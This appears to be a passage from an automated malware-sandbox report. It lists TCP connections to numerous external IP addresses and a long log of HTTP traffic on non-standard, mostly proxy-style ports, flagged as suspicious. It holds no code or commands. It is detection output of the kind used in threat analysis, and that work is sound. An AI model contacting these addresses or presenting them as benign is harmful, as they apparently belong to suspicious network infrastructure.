Source: global traffic	TCP traffic: 72.10.164.178 ports 13341,30717,18067,11251,22017,0,1,1403,10801,2675,6,1431,7,8,13477,1929,30911,5931,29471,10235,5935,8837,5529
Source: global traffic	TCP traffic: 43.129.228.46 ports 7891,7890,1,7,8,9
Source: global traffic	TCP traffic: 171.244.140.160 ports 15141,13391,5189,62310,14253,24015,0,3,4,27056,7,37400,53749
Source: global traffic	TCP traffic: 95.217.104.21 ports 24815,1,2,4,5,8
Source: global traffic	TCP traffic: 51.158.64.130 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.214.197.102 ports 51918,42019,0,4,5,58740,7,8
Source: global traffic	TCP traffic: 142.4.7.20 ports 43100,0,1,10722,3,4
Source: global traffic	TCP traffic: 163.172.171.22 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.144.121.232 ports 16795,24787,2,27262,6,7,19404
Source: global traffic	TCP traffic: 91.134.140.160 ports 20896,16487,48962,49687,2572,56495,57320,27207,9141,0,32896,32588,53012,2,11946,30895,7,8879,5401,12217,49042
Source: global traffic	TCP traffic: 160.153.245.187 ports 38586,3,35138,59786,5,6,8,6116,5436,31745
Source: global traffic	TCP traffic: 72.195.34.60 ports 1,2,3,7,9,27391
Source: global traffic	TCP traffic: 43.131.245.216 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 170.244.64.12 ports 31476,1,3,4,6,7
Source: global traffic	TCP traffic: 45.81.232.17 ports 27855,59421,54393,9165,23711,0,4,5,6,7,23363,47056,21481,17639,14669,48085
Source: global traffic	TCP traffic: 92.205.110.118 ports 42086,18374,15430,0,1,3,26570,4,5,53903
Source: global traffic	TCP traffic: 51.15.142.4 ports 1,3,6,7,9,16379

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 32100
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 34144
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 8800 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 49478
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 41055
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50293 -> 44195
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 6001
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 37876
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 34144
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 59559
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50460 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 24543
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8090
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 30000 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 50499 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50396
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50557 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50569 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50523 -> 51251
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 64579
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 54240
Source: unknown	Network traffic detected: HTTP traffic on port 44195 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 5484
Source: unknown	Network traffic detected: HTTP traffic on port 9123 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50667 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50671 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50710 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50657 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50820 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50711 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 24543 -> 50419
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50712 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50569
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50410
Source: unknown	Network traffic detected: HTTP traffic on port 50839 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 48612
Source: unknown	Network traffic detected: HTTP traffic on port 50833 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50310 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50836 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50830 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 50831 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 41055
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 5005 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 50813 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50460
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 9990 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 50905 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50901 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 3230
Source: unknown	Network traffic detected: HTTP traffic on port 50884 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50887 -> 9191
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50691
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50927 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50948 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50949 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50977 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50911 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 50978 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50979 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 50836
Source: unknown	Network traffic detected: HTTP traffic on port 50983 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50905
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 34172
Source: unknown	Network traffic detected: HTTP traffic on port 50945 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50367 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 42571
Source: unknown	Network traffic detected: HTTP traffic on port 50993 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 6821
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 34144
Source: unknown	Network traffic detected: HTTP traffic on port 51019 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51037 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50373 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51028 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51083 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51030 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 27102
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50438 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 3230
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50712 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51099 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50813
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50873
Source: unknown	Network traffic detected: HTTP traffic on port 50833 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 51187 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51167 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 15291
Source: unknown	Network traffic detected: HTTP traffic on port 51168 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51149 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51136 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 35396
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50499
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50506 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50727 -> 15805
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50608 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 50801 -> 13276
Source: unknown	Network traffic detected: HTTP traffic on port 51191 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51037
Source: unknown	Network traffic detected: HTTP traffic on port 51146 -> 12792
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51343 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51309 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 50741 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 51360 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51308 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51378 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50823 -> 38586
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 51387 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 41055
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51264
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51356 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51343
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51023 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51451 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 51432 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 34824
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50896 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51425 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 3230
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51412 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51509 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 51431 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51555 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 51477 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 51415 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 51407 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51471 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51473 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 64935
Source: unknown	Network traffic detected: HTTP traffic on port 51430 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51464 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51540 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51507 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51308
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51451
Source: unknown	Network traffic detected: HTTP traffic on port 51505 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 48892
Source: unknown	Network traffic detected: HTTP traffic on port 51099 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 50982 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 83 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 51537 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51049 -> 52326
Source: unknown	Network traffic detected: HTTP traffic on port 12792 -> 51146
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51555
Source: unknown	Network traffic detected: HTTP traffic on port 50950 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51599 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51596 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 10010 -> 51425
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51573 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 4019 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 51568 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51685 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 51576 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51131 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50873
Source: unknown	Network traffic detected: HTTP traffic on port 51765 -> 14738
Source: unknown	Network traffic detected: HTTP traffic on port 51715 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50941 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51575 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51698 -> 17328
Source: unknown	Network traffic detected: HTTP traffic on port 51626 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 51719 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51583 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51750 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51672 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51775 -> 35774
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51574 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51628 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51477
Source: unknown	Network traffic detected: HTTP traffic on port 51613 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51646 -> 15673
